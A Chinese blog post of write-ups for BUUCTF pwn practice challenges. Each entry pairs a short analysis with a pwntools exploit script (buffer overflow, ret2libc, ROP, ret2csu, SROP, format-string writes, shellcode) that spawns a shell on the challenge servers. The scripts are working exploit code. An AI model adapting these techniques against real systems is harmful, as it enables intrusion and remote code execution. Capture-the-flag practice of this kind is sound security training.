前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >BUUCTF-刷题记录

BUUCTF-刷题记录

作者头像
偏有宸机
发布2020-11-04 10:47:31
2K0
发布2020-11-04 10:47:31
举报
文章被收录于专栏:宸机笔记宸机笔记

PWN

pwn1

  • checksec什么保护都没开,到程序里发现有个fun函数可以调用shell,那我们直接覆盖rip指向这里就可以了

EXP

代码语言:javascript
复制
from pwn import *
#sh = process("./pwn1")
sh = remote("node3.buuoj.cn",29918)
payload = "a"*23
payload +=p64(0x0000000000401198)+p64(0x0000000000401186)
#sh.recvuntil("put\n")
sleep(2)
sh.sendline(payload)
sh.interactive()

这里有点不太明白,为什么直接将rip指向0x401186就不可以

warmup_csaw_2016

  • 和上一个类似程序中有个sub_40060d的函数可以直接查看flag,控制eip指向这个函数即可

EXP

代码语言:javascript
复制
from pwn import *
sh = process("./warmup_csaw_2016")
sh = remote("node3.buuoj.cn",27439)
payload = "a"*72
cat = 0x40060D
sleep(2)
sh.sendline(payload+p64(cat))
sh.interactive()

控制EIP指向代码段

pwn1_sctf_2016

  • IDA分析程序流程,发现程序只可以输入32个字符,而溢出点却要0x3c+4的大小
  • 在往下看,会发现如果用户输入“I”的话会被转换位“you”,也就是说一个“I”占三位,那么0x3c+4/3=21,只要输入21个“I”在加上随便一个字符串,就可以造成溢出。
  • 另外程序中有个get_flag函数可以直接返回flag,接下来只要控制EIP指向这个函数的地址即可

EXP

代码语言:javascript
复制
from pwn import *
sh = process("./pwn1_sctf_2016")
sh = remote("node3.buuoj.cn",25401)
payload = "I"*21+"a"+p32(0x08048F0D)
sh.sendline(payload)
sh.interactive()

要先绕过字符转换机制

ciscn_2019_n_1

  • 简单的数据覆盖,可以看到v2距离用户输入的v1变量只差0x2c的距离,填充这个距离然后跟上11.28125即可
  • 需要注意一点的是我们不能直接发送11.28125,可以在IDA里先看一下源程序是怎么表达这个浮点数的

EXP

代码语言:javascript
复制
from pwn import *
sh = process("./ciscn_2019_n_1")
sh = remote("node3.buuoj.cn",27561)
payload = "a"*(0x2c)+p64(0x41348000)
sleep(1)
sh.sendline(payload)
sh.interactive()

数据覆盖

ciscn_2019_c_1

  • 打开IDA分析源程序可以看到溢出点在encrypt函数的get(s)这里。
  • 而传进来的字符串会被分别异或运算一下,但是会被strlen(s)控制是否异或,可以直接拿\x00截断strlen获取的长度
  • 接下来就是直接利用puts函数来泄露libc地址,使用libc中的system获取shell

EXP

代码语言:javascript
复制
from pwn import *
sh = process("./ciscn_2019_c_1")
sh = remote("node3.buuoj.cn",26460)
elf = ELF("./ciscn_2019_c_1")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")
context.terminal = ['tmux',"splitw","h"]
context.log_level = 'debug'

rdi_ret = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols['main']

rdi_ret = 0x0000000000400c83
ret = 0x4006b9
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols['main']
padding = "a"+'\x00'+86*"b"
#padding = 88*"b"
payload = padding
payload += p64(rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted")
gdb.attach(sh)
sh.sendline(payload)
#数据接收这里也是踩了好多的坑才接受到,还要多练习
puts_addr =  u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('puts_addr = ' + hex(puts_addr))
base_addr = puts_addr - libc.sym['puts']
log.success('base_addr = ' + hex(base_addr))
system_addr = base_addr + libc.sym['system']
binsh_addr = base_addr + libc.search("/bin/sh\x00").next()

payload = padding
payload += p64(ret)		#因为远程服务器版本的问题,这里要填上ret来保持栈平衡
payload += p64(rdi_ret)	
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)
sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted")
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()

\x00截断strlen(),以及不同环境的栈对齐

babyrop

  • IDA一步步分析可以看到是先生成了一个随机数传到buf上,之后进入sub_804871F并将buf带入函数中传给s,读取用户输入到buf上
  • 接着获取用户输入的长度传给v1,然后使用strncmp来与s比较v1位。如果相同则将v5返回给v2,并带入sub_80487d0中,而该函数中的用户数入的大小,则可以由前面的v2决定的。
  • 那么整体思路便是先用\x00来截断strncmp的比较,然后跟上较大的值如\xff,当程序到sub_80487d0函数中时,就可以构造ROP链进行溢出了

EXP

代码语言:javascript
复制
from pwn import *
context.log_level='debug'
sh = process("./babyrop")
sh = remote("node3.buuoj.cn",27886)
elf = ELF("./babyrop")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("./libc6-i386_2.23-0ubuntu11_amd64.so")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
start_addr = 0x080485A0
sleep(1)
sh.sendline("\x00"+"\xff\xff\xff\xff\xff\xff\xff")
sleep(1)
payload = "a"*(0xe7+4)
payload += p32(puts_plt)+p32(start_addr)+p32(puts_got)
#sh.recvuntil("Correct\n")
sh.sendline(payload)

sh.recvline()
puts_addr = u32(sh.recv(4))
success("puts:0x%x",puts_addr)
base_addr = puts_addr - libc.sym["puts"]
success("base:0x%x",base_addr)
system = base_addr + libc.sym["system"]
binsh = base_addr + libc.search("/bin/sh").next()
sh.recvline()
sh.sendline("\x00"+"\xff\xff\xff\xff\xff\xff\xff")
sleep(1)
payload = "a"*(0xe7+4)
payload += p32(system)+p32(start_addr)+p32(binsh)
#sh.recvuntil("Correct\n")

sh.sendline(payload)
sh.interactive()

\x00截断strncmp()

ciscn_2019_en_2

  • 和ciscn_2019_c_1一样

EXP

代码语言:javascript
复制
from pwn import *

sh = process("./ciscn_2019_en_2")
sh = remote("node3.buuoj.cn",25303)
elf = ELF("./ciscn_2019_en_2")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")
context.terminal = ['tmux',"splitw","h"]
context.log_level = 'debug'

rdi_ret = 0x0000000000400c83
ret = 0x4006b9
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols['main']
padding = "a"+'\x00'+86*"b"
#padding = 88*"b"
payload = padding
payload += p64(rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted")
#gdb.attach(sh)
sh.sendline(payload)

puts_addr =  u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('puts_addr = ' + hex(puts_addr))
base_addr = puts_addr - libc.sym['puts']
log.success('base_addr = ' + hex(base_addr))
system_addr = base_addr + libc.sym['system']
binsh_addr = base_addr + libc.search("/bin/sh\x00").next()

payload = padding
payload += p64(ret)
payload += p64(rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)
sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted")
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()

get_started_3dsctf_2016

  • 可以直接控制EIP返回到get_flag函数,然后传入参数1和参数2。或者直接控制EIP指向fopen(“flag.txt”,”rt”)处*0x080489b8*

EXP

代码语言:javascript
复制
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]
sh = process("./get_started_3dsctf_2016")
sh = remote("node3.buuoj.cn",26384)
elf = ELF("./get_started_3dsctf_2016")
a1 = 814536271
a2 = 425138641
get_flag = elf.sym["get_flag"]
main = elf.sym["main"]
openf = elf.sym["fopen"]
padding = 56*"a"
payload = padding+p32(get_flag)+p32(0x08048196)+p32(main)+p32(a1)+p32(a2)
#payload = padding + p32(0x080489b8)
#sh.recvuntil("Qual a palavrinha magica? ")
gdb.attach(sh)
sh.sendline(payload)
#sh.recv()[26:]
sh.interactive()

控制EIP指向某函数传值。但是在打远程的时候出了点问题,暂时找不到解决的办法

[第五空间2019决赛] pwn5

  • checksec查看程序保护,开启了canary,到IDA搜索一下未格式化的字符串,果然有
  • 点进去仔细看程序结构,先是生成了一个随机数到unk_804c044,然后读取name到buf,读取passwd到nptr,最后拿nptr和先前生成的随机数判断是否相同。
  • 那么就可以在输入name时构造格式化字符串任意地址写漏洞,将1写进去,然后再输入passwd时,传入1即可

EXP

代码语言:javascript
复制
from pwn import *
sh = process("./pwn5")
sh = remote("node3.buuoj.cn",28799)
sleep(1)
payload = fmtstr_payload(10,{0x804C044:0x1})
sh.sendline(payload)
sh.recvuntil("passwd:")
sh.sendline("1")
sh.interactive()

格式化字符串漏洞,任意地址写

ciscn_2019_n_8

  • 很简单,IDA分析,var的第13位为17即可,而var的类型又是qword占4字节,所以可以用P32()来直接填充

EXP

代码语言:javascript
复制
from pwn import *
sh = process("./ciscn_2019_n_8")
sh = remote("node3.buuoj.cn",28898)
sleep(1)
payload = p32(17)*14
sh.sendline(payload)
sh.interactive()

填充QWORD类型的数据

ciscn_2019_s_3

  • 利用SROP技术
  • 因为程序中自带write函数,可以输出栈的地址,那么就只用接收一下这个地址,然后以该地址-read参数在栈中的偏移量就可以得出binsh的地址了。(具体偏移量在gdb中调试)
  • 然后利用SigreturnFrame()框架来伪造Signal Frame,最后形成syscall(0x3b,"/bin/sh",0,0)的一条系统调用指令

EXP

代码语言:javascript
复制
# -*- coding: utf-8 -*-
from pwn import *

context(arch='amd64',os='linux',log_level='debug',terminal=["tmux","splitw","-h"])
sh = process('./ciscn_s_3')
#p = remote('node3.buuoj.cn',29246)
sigreturn = 0x4004DA	#sigreturn,在程序中gadgets函数中找到
read_write = 0x4004F1	#第一次溢出时返回到此处,以便接收后续的输入
syscall = 0x400517		#syscall;ret 地址

payload = '/bin/sh\x00' + 'a'*0x8 + p64(read_write) 
sh.send(payload)
sh_addr = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))- 0x118
log.success('stack_addr: ' + hex(sh_addr+0x118))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rsp = sh_addr-0x118 
frame.rip = syscall

payload = 'a'*0x10+p64(sigreturn)+p64(syscall)+str(frame)
sh.send(payload)
sh.interactive()

not_the_same_3dsctf_2016

  • 第一次溢出先控制程序跳转至该函数,使flag.txt的值传到fl4g
  • 再次溢出,使用程序内已有的write函数,读取fl4g中的flag

EXP

代码语言:javascript
复制
from pwn import *
context.terminal=["tmux","splitw","-h"]
context.log_level="debug"
sh=process("./not_the_same_3dsctf_2016")
sh=remote("node3.buuoj.cn",29401)
elf = ELF("./not_the_same_3dsctf_2016")
get_shell = elf.sym["get_secret"]
write = elf.sym['write']
main = elf.sym['main']
payload = "a"*45
payload += p32(get_shell)+p32(main)
sleep(1)
#gdb.attach(sh)
sh.sendline(payload)
sleep(1)
payload = "a"*45
payload += p32(write)+p32(main)+p32(1)+p32(0x80eca2d)+p32(45)
sh.sendline(payload)
sh.interactive()

控制程序读取flag.txt,利用write函数再读取

[HarekazeCTF]babyrop

  • 就是一个简单的64位rop,system函数和binsh字符串再程序中都有,再找一下pop rdi;ret代码段即可
  • 另外就是flag文件居然没有再跟目录下,使用find / -name flag查找一下就可以了

EXP

代码语言:javascript
复制
from pwn import *
sh=process("./babyrop_harekazeCTF")
sh = remote("node3.buuoj.cn",29606)
elf = ELF("./babyrop_harekazeCTF")
system = elf.sym["system"]
binsh = 0x0000000000601048 #ROPgadget --binary ./babyrop_harekazeCTF --string "/bin/sh"
rdi_ret = 0x0000000000400683
payload = "a"*24+p64(rdi_ret)+p64(binsh)+p64(system)+p64(system)
sh.sendline(payload)
sh.interactive()

[HarekazeCTF]babyrop2

  • 和babyrop基本一致,只是程序中没有了system和binsh。但是给出了libc版本,并且程序中有printf函数,拿来泄露基地址,最后利用libc中的system即可返回shell。
  • 起初我泄露的是printf的got表,但是只在本地有效,远程完全无法泄露,而read却可以。
代码语言:javascript
复制
from pwn import *
context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
sh=process("./babyrop2_harekazeCTF")
sh = remote("node3.buuoj.cn",28808)
elf = ELF("./babyrop2_harekazeCTF")
libc = ELF("libc/libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
printf_plt = elf.plt["printf"]
read_got = elf.got["read"]
main = elf.sym["main"]
rdi_ret = 0x0000000000400733
payload = "a"*40
payload +=p64(rdi_ret)+p64(read_got)+p64(printf_plt)+p64(main)
sh.sendlineafter("? ",payload)
base_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym["read"]
success("base_addr:0x%x",base_addr)

system = base_addr+libc.sym["system"]
binsh = base_addr+libc.search("/bin/sh").next() 
payload = "b"*40
payload += p64(rdi_ret)+p64(binsh)+p64(system)+p64(main)
sh.sendline(payload)
sh.interactive()

使用printf函数泄露read函数的got表,但不可以泄露printf的got表

[铁三第五赛区]2018_rop

  • 简单的泄露libc

EXP

代码语言:javascript
复制
from pwn import *
sh =process("./tie3_2018_rop")
sh = remote("node3.buuoj.cn",25832)
elf = ELF("./tie3_2018_rop")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("libc/libc6-i386_2.27-3ubuntu1_amd64 (1).so")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = 0x080484C6

payload = "a"*140+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
sh.sendline(payload)
write = u32(sh.recv(4))

base = write-libc.sym["write"]
success("wrtie:0x%x",write)
success("base:0x%x",base)
sleep(1)
system = base+libc.sym["system"]
binsh = base+libc.search("/bin/sh").next()
payload = "a"*140+p32(system)+p32(main)+p32(binsh)
sh.sendline(payload)
sh.interactive()

bjdctf_2020_babystack

  • 第一次输入一个数值,该数值作为下一次输入的长度

EXP

代码语言:javascript
复制
#coding:utf-8
from pwn import *

#sh = process("./bjdctf_2020_babystack")
sh = remote("node3.buuoj.cn",29848)
payload = "a"*24
payload += p64(0x00000000004006E6)

sh.recvuntil("[+]Please input the length of your name:")
sh.sendline("300")
sh.recvuntil("[+]What's u name?")
sh.sendline(payload)
sh.interactive()

bjdctf_2020_babyrop

  • 简单的ret2libc 随便泄露个函数地址即可

EXP

代码语言:javascript
复制
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./bjdctf_2020_babyrop")
elf = ELF("./bjdctf_2020_babyrop")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.sym["main"]
rdi_ret = 0x0000000000400733
sh = remote("node3.buuoj.cn",28316)
payload1 =  "a"*40
payload1 += p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
sh.recvuntil("story!\n")
sh.sendline(payload1)
puts = u64(sh.recvuntil('\x7f')[-6:].ljust(8,"\x00"))
success("puts_addr:0x%x",puts)
base_addr = puts-libc.symbols["puts"]
success("base_addr:0x%x",base_addr)
system = libc.sym["system"]+base_addr
binsh = libc.search("/bin/sh\x00").next()+base_addr
payload2 = "a"*40+p64(rdi_ret)+p64(binsh)+p64(system)+p64(main)
sh.recvuntil("story!\n")
sh.sendline(payload2)
sh.interactive()

jarvisoj_level0

  • 算是ret2text 程序内可以直接找到system(“/bin/sh”)的代码片段,返回到这里即可

EXP

代码语言:javascript
复制
from pwn import *
sh = process("./jarvisoj_level0")
sh = remote("node3.buuoj.cn",27530)
binsh = 0x000000000040059A

payload = "a"*0x88+p64(binsh)

sh.sendline(payload)
sh.interactive()

jarvisoj_level1

  • 考shellcode的一道题,需要先用recvuntil来接收buf的地址

EXP

代码语言:javascript
复制
#coding:utf-8
from pwn import *
sh = process("./jarvisoj_level1")
#sh = remote("node3.buuoj.cn",26460)
#sh.sendline("aaa")
buf = int(sh.recvuntil("?\n")[-10:-2],16)
shellcode = asm(shellcraft.sh())+"\x00"
print hex(buf)
print shellcode
payload = shellcode.ljust(140,"a")+p32(buf)
sh.sendline(payload)
sh.interactive()

另外不清楚为什么本地和远程的题目不一样…..也就是说我拿不了flag…..

jarvisoj_level2

  • 这次没有直接的system("/bin/sh")这样完整的代码片段了,但是可以拼接一下
  • 用ROPgadget再程序中搜索/bin/sh字符串 然后再利用再IDA中找到的call system的地址

EXP

代码语言:javascript
复制
from pwn import *
sh = process("./jarvisoj_level2")
sh = remote("node3.buuoj.cn",26529)
binsh = 0x0804a024
system = 0x0804849E
payload = "a"*0x88+p32(system)+p32(system)+p32(binsh)
sh.recvuntil("Input:\n")
sh.sendline(payload)
sh.interactive()

##jarvisoj_level2_x64

  • 64位的版本,需要有一个pop rdi;ret片段来保持栈平衡

EXP

代码语言:javascript
复制
from pwn import *
sh = process("./jarvisoj_level2_x64")
sh = remote("node3.buuoj.cn",25463)
binsh = 0x0000000000600a90
system = 0x000000000040063E
rdi_ret = 0x00000000004006b3
payload = "a"*0x88+p64(rdi_ret)+p64(binsh)+p64(system)+p64(system)
sh.recvuntil("Input:\n")
sh.sendline(payload)
sh.interactive()

jarvisoj_fm

  • 题目很明显 格式化字符串漏洞
代码语言:javascript
复制
#coding:utf-8
from pwn import *
sh = process('./fm')
sh = remote("node3.buuoj.cn",28272)
x = 0x0804A02C
payload = fmtstr_payload(11,{x:0x4})
sh.sendline(payload)
sh.interactive()

jarvisoj_level3

  • 还是ret2libc
代码语言:javascript
复制
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./level3")
elf = ELF("./level3")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6-i386_2.23-0ubuntu10_amd64/libc.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = elf.sym["main"]
sh = remote("node3.buuoj.cn",29644)
payload1 =  "a"*140
payload1 += p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

sh.recvuntil("Input:\n")
sh.sendline(payload1)
write = u32(sh.recvuntil('\xf7')[-4:])
success("write_addr:0x%x",write)
base_addr = write-libc.symbols["write"]
success("base_addr:0x%x",base_addr)
system = libc.sym["system"]+base_addr
binsh = libc.search("/bin/sh\x00").next()+base_addr
payload2 = "a"*140+p32(system)+p32(system)+p32(binsh)
sh.recvuntil("Input:\n")
sh.sendline(payload2)

sh.interactive()

jarvisoj_levle3_x64

  • 程序中只有write,如果想要泄露函数的地址的话,也就必须要凑齐rdi\rsi\rdx三个代码片段
  • 但是程序中并没有找到,但是可以使用ret2csu的办法来泄露函数地址
  • 需要注意一点的是,ret2csu 第一段gadgets的顺序

EXP

代码语言:javascript
复制
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./jarvisoj_level3_x64")
elf = ELF("./jarvisoj_level3_x64")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = elf.sym["main"]
sh = remote("node3.buuoj.cn",26767)

gadget1 = 0x00000000004006A6
gadget2 = 0x0000000000400690

def csu(r12,r13,r14,r15,ret_addr):
    payload = "a"*0x88
    payload += p64(gadget1)
    payload += 'b'*8
    payload += p64(0)
    payload += p64(1)
    payload += p64(r12)
    payload += p64(r15)#参数3
    payload += p64(r14)#参数2
    payload += p64(r13)#参数1
    payload += p64(gadget2)
    payload += 'c' * 0x38
    payload += p64(ret_addr)
    sh.sendline(payload)    
sh.recvuntil("Input:\n")
csu(write_got,1,write_got,8,main)

write_addr=u64(sh.recv(8))

print hex(write_addr)
offset_addr = write_addr-libc.symbols['write']
print hex(offset_addr)
execve_addr = offset_addr + libc.symbols['execve']
print hex(execve_addr)

read_addr = elf.got['read'] 
bss_addr = elf.bss()
csu(read_addr,0,bss_addr,16,main)

sh.recvuntil("Input:\n")
sh.send(p64(execve_addr)+'/bin/sh\x00')

print "bss_addr:",hex(bss_addr)

sh.recvuntil("Input:\n")
csu(bss_addr,bss_addr+8,0,0,main)
sh.interactive()

jarvisoj_level4

  • level3基本一样
代码语言:javascript
复制
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./jarvisoj_level4")
elf = ELF("./jarvisoj_level4")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6-i386_2.23-0ubuntu10_amd64/libc.so.6")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = elf.sym["main"]
sh = remote("node3.buuoj.cn",25463)
payload1 =  "a"*140
payload1 += p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)


sh.sendline(payload1)
write = u32(sh.recvuntil('\xf7')[-4:])
success("write_addr:0x%x",write)
base_addr = write-libc.symbols["write"]
success("base_addr:0x%x",base_addr)
system = libc.sym["system"]+base_addr
binsh = libc.search("/bin/sh\x00").next()+base_addr
payload2 = "a"*140+p32(system)+p32(system)+p32(binsh)
sleep(1)
sh.sendline(payload2)

sh.interactive()

jarvisoj_memonr

  • 直接跳转到system的plt地址,cat flag的地址程序也直接给出来了
代码语言:javascript
复制
#coding:utf-8
from pwn import *
sh = process("./jarvisoj_memory")
sh = remote("node3.buuoj.cn",26542)
payload = (0x13+4)*"a"
payload += p32(0x08048440)+p32(0x08048440)+p32(0x80487e0)
sh.sendline(payload)
sh.interactive()

jarvisoj_memonr

  • 还是ret2csu的办法一把梭

EXP

代码语言:javascript
复制
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
#sh = process("./jarvisoj_level5")
elf = ELF("./jarvisoj_level5")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = elf.sym["main"]
sh = remote("node3.buuoj.cn",26305)


gadget1 = 0x00000000004006A6
gadget2 = 0x0000000000400690
def csu(r12,r13,r14,r15,ret_addr):
    payload = "a"*0x88
    payload += p64(gadget1)
    payload += 'b'*8
    payload += p64(0)
    payload += p64(1)
    payload += p64(r12)
    payload += p64(r15)#参数1
    payload += p64(r14)#参数2
    payload += p64(r13)#参数3
    payload += p64(gadget2)
    payload += 'c' * 0x38
    payload += p64(ret_addr)
    sh.sendline(payload)    
sh.recvuntil("Input:\n")
csu(write_got,1,write_got,8,main)

write_addr=u64(sh.recv(8))

print hex(write_addr)
offset_addr = write_addr-libc.symbols['write']
print hex(offset_addr)
execve_addr = offset_addr + libc.symbols['execve']
print hex(execve_addr)

read_addr = elf.got['read'] 
bss_addr = elf.bss()
csu(read_addr,0,bss_addr,16,main)

sh.recvuntil("Input:\n")
#gdb.attach(sh)
sh.send(p64(execve_addr)+'/bin/sh\x00')

print "bss_addr:",hex(bss_addr)

sh.recvuntil("Input:\n")
csu(bss_addr,bss_addr+8,0,0,main)
sh.interactive()

PicoCTF_2018_rop_chain

  • 看题目是让构造ROP链,把程序放到IDA中分析
  • 得出构造rop链的思路为:win_function1->win_function2->0x0BAAAAAAD->flag->0x0DEADBAAD

EXP

代码语言:javascript
复制
from pwn import *

sh = process("./PicoCTF_2018_rop_chain")
sh = remote("node3.buuoj.cn",29030)
elf = ELF("./PicoCTF_2018_rop_chain")
payload = "a"*(0x18+4)+p32(elf.sym["win_function1"])+p32(elf.sym["win_function2"])+p32(elf.sym["flag"])+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
sh.sendline(payload)
sh.interactive()

PicoCTF_2018_buffer_overflow0

  • 感觉这道题很有意思,是让运行程序时带上参数然后构成溢出
  • 而argv1这个参数的值会被传给&dest,在这个过程产生了漏洞,而程序刚开始就已经将flag的值读取到了flag这个变量中,我们只需要让程序构成溢出,然后指向flag这个变量的地址即可

EXP

代码语言:javascript
复制
./vuln aaaabaaacaaadaaaeaaafaaagaaa\x80\xa0\x04

wustctf2020_closed

  • 用命令exec 1>&0stdout重定向到stdin就返回shell了。

EXP

代码语言:javascript
复制
from pwn import*
p = remote("node3.buuoj.cn",28568)
p.sendline("exec 1>&0")
p.interactive()

wustctf2020_getshell_2

  • 相比于getshell,该题的binsh字符串被打乱了
  • 不过可以直接用ROPgadgets来搜索sh字符串,system("sh")也可以返回shell
  • 然后就是buf空间的问题,28个字符后才可以控制程序执行,而buf缺只能输入36个字符
  • 也就是说除去28个填充字符外,只可以再传入8位。 此时可以直接找一下程序中已有的代码段call system然后再加上sh刚好8位
代码语言:javascript
复制
from pwn import*
sh = process('./wustctf2020_getshell_2')
sh = remote("node3.buuoj.cn",28459)
#elf = ELF('./wustctf2020_getshell_2')
system_call = 0x08048529
payload = 'a'*28 + p32(system_call)+p32(0x08048670)
sh.sendline(payload)
sh.interactive()

get_sta、rted_3dsctf_2016

可以看到只开启了nx保护

这里有两个常见的方法来获取flag

方法1:

使用程序中已有的get_flag函数来读取flag

使用ida查看伪代码可以看到这个get_flag函数要求传入的两个参数必须为814536271425138641即可直接读取flag

这里需要注意一点,构造payload时返回地址不可以随便填写,因为在打远程时导致程序异常是不会给回显的,想要看到flag必须先要让程序正常退出,这里使用exit函数

代码语言:javascript
复制
#coding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]
#sh = process("./get_started_3dsctf_2016")
sh = remote("node3.buuoj.cn",26236)
elf = ELF("./get_started_3dsctf_2016")
a1 = 814536271
a2 = 425138641
get_flag = elf.sym["get_flag"]
main = elf.sym["exit"]
padding = 56*"a"
payload = padding+p32(get_flag)+p32(main)+p32(a1)+p32(a2)
#gdb.attach(sh)
sleep(1)
sh.sendline(payload)
sh.interactive()

方法2:

使用mprotect函数修改bss段权限来执行shellcode

使用gdb中的vmmap先来看一下bss段的权限

确定好溢出位后payload布局如下

mprotect函数+pop *;ret+参数1\2\3+返回地址[read函数]+pop *;ret+参数1\2\3+返回地址[shellcode_addr]

也就是先使用mprotect来修改指定bss段地址的权限,在利用pop esi;pop edi;pop ebp;ret来返回到指定地址如read函数上以读取shellcode到以修改权限的bss段地址上,最后再次利用pop esi;pop edi;pop ebp;ret片段返回到shellcode的位置上即可。

EXP

代码语言:javascript
复制
from pwn import *
p=process('./get_started_3dsctf_2016')
#p=remote('node3.buuoj.cn',28216)
elf=ELF('./get_started_3dsctf_2016')
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
bss_addr = 0x80eb000
shellcode_addr = 0x080EB500
pop_3_ret=0x080483b8	#pop esi;pop edi;pop ebp;ret
payload='a'*0x38
payload += p32(elf.symbols['mprotect'])
payload += p32(pop_3_ret)
payload += p32(bss_addr)
payload += p32(0x1000)
payload += p32(0x7)
payload += p32(elf.symbols['read'])
payload += p32(pop_3_ret)
payload += p32(0)
payload += p32(shellcode_addr)
payload += p32(0x100)
payload += p32(shellcode_addr)

p.sendline(payload)
sleep(1)
payload=asm(shellcraft.sh())
#gdb.attach(p)
p.sendline(payload)
p.interactive()
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-03-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PWN
    • pwn1
      • warmup_csaw_2016
        • pwn1_sctf_2016
          • ciscn_2019_n_1
            • ciscn_2019_c_1
              • babyrop
                • ciscn_2019_en_2
                  • get_started_3dsctf_2016
                    • [第五空间2019决赛] pwn5
                      • ciscn_2019_n_8
                        • ciscn_2019_s_3
                          • not_the_same_3dsctf_2016
                            • [HarekazeCTF]babyrop
                              • [HarekazeCTF]babyrop2
                                • [铁三第五赛区]2018_rop
                                  • bjdctf_2020_babystack
                                    • bjdctf_2020_babyrop
                                      • jarvisoj_level0
                                        • jarvisoj_level1
                                          • jarvisoj_level2
                                            • jarvisoj_fm
                                              • jarvisoj_level3
                                                • jarvisoj_levle3_x64
                                                  • jarvisoj_level4
                                                    • jarvisoj_memonr
                                                      • jarvisoj_memonr
                                                        • PicoCTF_2018_rop_chain
                                                          • PicoCTF_2018_buffer_overflow0
                                                            • wustctf2020_closed
                                                              • wustctf2020_getshell_2
                                                                • get_sta、rted_3dsctf_2016
                                                                领券
                                                                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档